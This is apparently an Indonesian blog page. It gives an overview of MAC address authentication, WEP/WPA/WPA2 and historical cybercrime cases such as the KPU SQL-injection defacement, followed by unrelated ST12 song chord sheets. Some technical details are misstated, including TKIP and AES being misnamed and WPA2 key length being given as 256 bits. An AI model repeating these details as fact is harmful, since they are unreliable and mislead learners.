Mac Address Authentication adalah sebuah mekanisme di mana sebuah peralatan yang akan melakukan akses pada sebuah titik-akses sudah terdaftar terlebih dahulu. Berbeda dengan protokol 802.1x yang memastikan bahwa alat yang melakukan koneksi dipergunakan oleh pihak yang berwenang, metode ini untuk memastikan apakah peralatan yang akan melakukan akses adalah peralatan yang berhak untuk akses tanpa mempedulikan siapa yang mempergunakannya. Pada setiap peralatan jaringan komputer terdapat sebuah identitas yang unik. Berdasarkan identitas tersebutlah metode ini melakukan otentikasi. Pada setiap paket data yang dikirimkan sebuah peralatan akan mengandung informasi mengenai identitas peralatan tersebut, yang akan dibandingkan dengan daftar akses yang dimiliki setiap titik-akses, apabila ternyata identitas peralatan terdapat dalam daftar, paket yang dikirimkannya akan diteruskan apabila tidak, maka paket yang dikirimkannya tidak akan diteruskan.
Keuntungan metode ini jika dibandingkan dengan protokol 802.1x adalah metode ini sudah lebih banyak diimplementasikan pada switch/hub yang sering digunakan sebagai titik akses. Selain itu, untuk mempergunakan metode ini, tidak perlu semua switch/hub melakukan filtering, namun cukup switch/hub utama saja yang melakukannya.
Kelemahan utama dari metode ini adalah seseorang dapat dengan mudah memanipulasi identitas unik pada peralatan yang digunakannya, sehingga peralatan tersebut dapat melakukan akses ke sebuah jaringan komputer. Oleh karena itu sangat penting untuk menjaga integritas daftar identitas peralatan yang dapat melakukan akses ke jaringan.

• WEP dan WPA
Perkembangan teknologi telah membuat transmisi data melalui media gelombang radio memiliki kualitas yang hampir sama dengan kualitas transmisi data melalui media kabel. Dengan mempegunakan wireless network, koneksi ke sebuah jaringan komputer menjadi sangat mudah karena tidak lagi terhambat oleh penggunaan kabel. Asalkan sebuah peralatan jaringan komputer masih dalam jangkauan gelombang radio komputer penyedia jaringan, peralatan tersebut dapat terhubung ke dalam jaringan komputer. Akan tetapi, penggunaan media gelombang radio untuk transmisi data memiliki berbagai permasalahan keamanan yang cukup serius. Sifat gelombang radio yang menyebar menyebabkan siapa saja yang berada pada jangkauan gelombang radio yang digunakan untuk komunikasi data dapat mencuri data yang dikirimkan oleh sebuah pihak ke pihak lain dengan mudah. Oleh karena itu dikembangkan metode yang disebut dengan Wired Equivalent Privacy (WEP).
Tujuan utama dari WEP adalah berusaha untuk memberikan tingkat privasi yang diberikan oleh penggunaan jaringan berbasiskan kabel. Dalam melakukan usaha itu, WEP akan melakukan enkripsi terhadap data-data yang dikirimkan antara dua peralatan jaringan komputer berbasiskan gelombang radio, sehingga data yang dikirimkan tidak dapat dicuri oleh pihak lain. Untuk ini, WEP mempergunakan algoritma stream-cipher RC4 untuk menjaga kerahasiaan data dan CRC- 32 sebagai kontrol integritas data yang dikirimkan. Oleh karena ada peraturan pembatasan ekspor teknologi enkripsi oleh pemerintah Amerika Serikat, maka pada awalnya panjang kunci yang dipergunakan hanyalah sepanjang 40 bit. Setelah peraturan tersebut dicabut, maka kunci yang digunakan adalah sepanjang 104 bit.
Beberapa analis menemukan bahwa WEP tidak aman dan seseorang dapat dengan mudah menemukan kunci yang digunakan setelah melakukan analisa paket terenkripsi yang dia dapatkan. Oleh karena itu pada tahun 2003 dibuat standar baru yaitu Wi-Fi Protected Access (WPA). Perbedaan antara WEP dengan WPA adalah penggunaan protokol 802.1x untuk melakukan distribusi kunci yang digunakan dalam melakukan proses enkripsi dan dekripsi. Selain itu panjang kunci yang digunakan juga bertambah panjang menjadi 128 bit sehingga menambah tingkat kesulitan dalam menebak kunci yang digunakan. Selain itu untuk meningkatkan keamanan, juga dibuat sebuah sistem yang disebut dengan Temporal Key Integrity Control yang akan melakukan perubahan kunci secara dinamis selama sistem sedang digunakan. Pada perkembangan selanjutnya, yaitu pada tahun 2004 dibuat standard WPA2, dimana algoritma RC4 digantikan oleh algoritma enkripsi baru yaitu Advance Encryption System (AES) dengan panjang kunci sepanjang 256 bit.

Contoh kasus yang terjadi :
• Pada tahun 1983 untuk pertama kalinya FBI menangkap kelompok kriminal komputer The 414s yang berbasis di Milwaukee AS. 414 merupakan kode area lokal mereka. Kelompok yang kemudian disebut hacker tersebut dinyatakan bersalah atas pembobolan 60 buah komputer, dari komputer milik Pusat Kanker Memorial Sloan-Kettering hingga komputer milik Laboratorium Nasional Los Alamos. Salah seorang dari antara pelaku tersebut mendapatkan kekebalan karena testimonialnya, sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.

• Pada hari Sabtu, 17 April 2004, Dani Firmansyah, konsultan Teknologi Informasi (TI) PT Danareksa di Jakarta berhasil membobol situs milik Komisi Pemilihan Umum (KPU) di http://tnp.kpu.go.id dan mengubah nama-nama partai di dalamnya menjadi nama-nama "unik", seperti Partai Kolor Ijo, Partai Mbah Jambon, Partai Jambu, dan lain sebagainya. Dani menggunakan teknik SQL Injection(pada dasarnya teknik tersebut adalah dengan cara mengetikkan string atau perintah tertentu di address bar browser) untuk menjebol situs KPU. Kemudian Dani tertangkap pada hari Kamis, 22 April 2004.

• Logic bomb merupakan program komputer untuk diaktifkan pada waktu tertentu. Logic bomb merupakan metode tertua yang digunakan untuk tujuan sabotase. Contoh kasus logic bomb ini adalah seperti yang dilakukan oleh Donald Burleson seorang programmer perusahaan asuransi di Amerika. Ia dipecat karena melakukan tindakan menyimpang. Dua hari kemudian sebuah logic bomb bekerja secara otomatis mengakibatkan kira-kira 160.000 catatan penting yang terdapat pada komputer perusahaan terhapus. Kebocoran data merupakan metode pencurian atau pengambilan data secara tidak sah. Teknik yang digunakan mulai dari yang sederhana seperti mengambil data dengan media penyimpanan atau dengan teknik khusus seperti mencari kelemahan dalam sistem keamanan komputer baru mengambil data yang diperlukan.

Baca selengkapnya ��

ST12 - Saat terakhir

[intro] D A Bm F#m G D A

D A
Tak pernah terpikir olehku
Bm F#m
Tak sedikitpun ku bayangkan
G D A
Kau akan pergi tinggalkan kusendiri

D A
Begitu sulit kubayangkan
Bm F#m
Begitu sakit ku rasakan
G D A
Kau akan pergi tinggalkan ku sendiri

G
Di bawah batu nisan kini
A
Kau tlah sandarkan
D A/C# Bm
Kasih sayang kamu begitu dalam
G
sungguh ku tak sanggup
A D
Ini terjadi krna ku sangat cinta

[chorus]
G A
Inilah saat terakhirku melihat kamu
D A/C# Bm
Jatuh air mataku menangis pilu
G E
Hanya mampu ucapkan
A
Selamat jalan kasih

D A/C#
Satu jam saja kutelah bisa
Bm G
cintai kamu kamu kamu di hatiku
D A
Namun bagiku melupaknmu
G A
buth waktuku seumur hidup

D A/C#
Satu jam saja kutelah bisa
Bm G
sayangi kamu di hatiku
D A
Namun bagiku melupaknmu
G A
butuh waktuku seumur hidup

[interlude] G Bm Em F# Bm A-G Em A

Baca selengkapnya ��

ST12-Cari Pacar Lagi

[intro] G

G
Cintaku cintaku padamu
Em
Tak besar seperti dulu
Am
kamu kok begitu menilai cintaku
D
Begitu rendah di matamu

G
Sayangku sayangku padamu
Em
Tak indah seperti dulu
Am
Maumu begini maumu begitu
D
Tak pernah engkau hargai aku

C
Oo ooh i am sorry
D G
Ku tak akan love U lagi

G
Ku peluk memeluk dirimu
Em
Tak hangat seperti dulu
Am
Ku jadi selingkuh karna kau selingkuh
D
Biar sama-sama kita selingkuh

C
Oo ooh i am sorry
D G
Ku tak akan love you lagi

[chorus]
C
Biar ku putuskan saja
D Bm
Ku tak mau hatiku terluka
Em Am
Lebih baik ku cukupkan saja
D G
Ku tak mau batinku tersiksa

C
Jangan kau slalu merasa
D Bm
Wanita bukan dirimu saja
Em Am
Lebih baik ku putuskan saja
D G
Cari pacar lagi

[interlude] G Em Am C G
Em Am D G

D G
Cari pacar lagi
D G
Cari pacar lagi

Baca selengkapnya ��

Kirimkan Komentar Anda

Template by : kendhin x-template.blogspot.com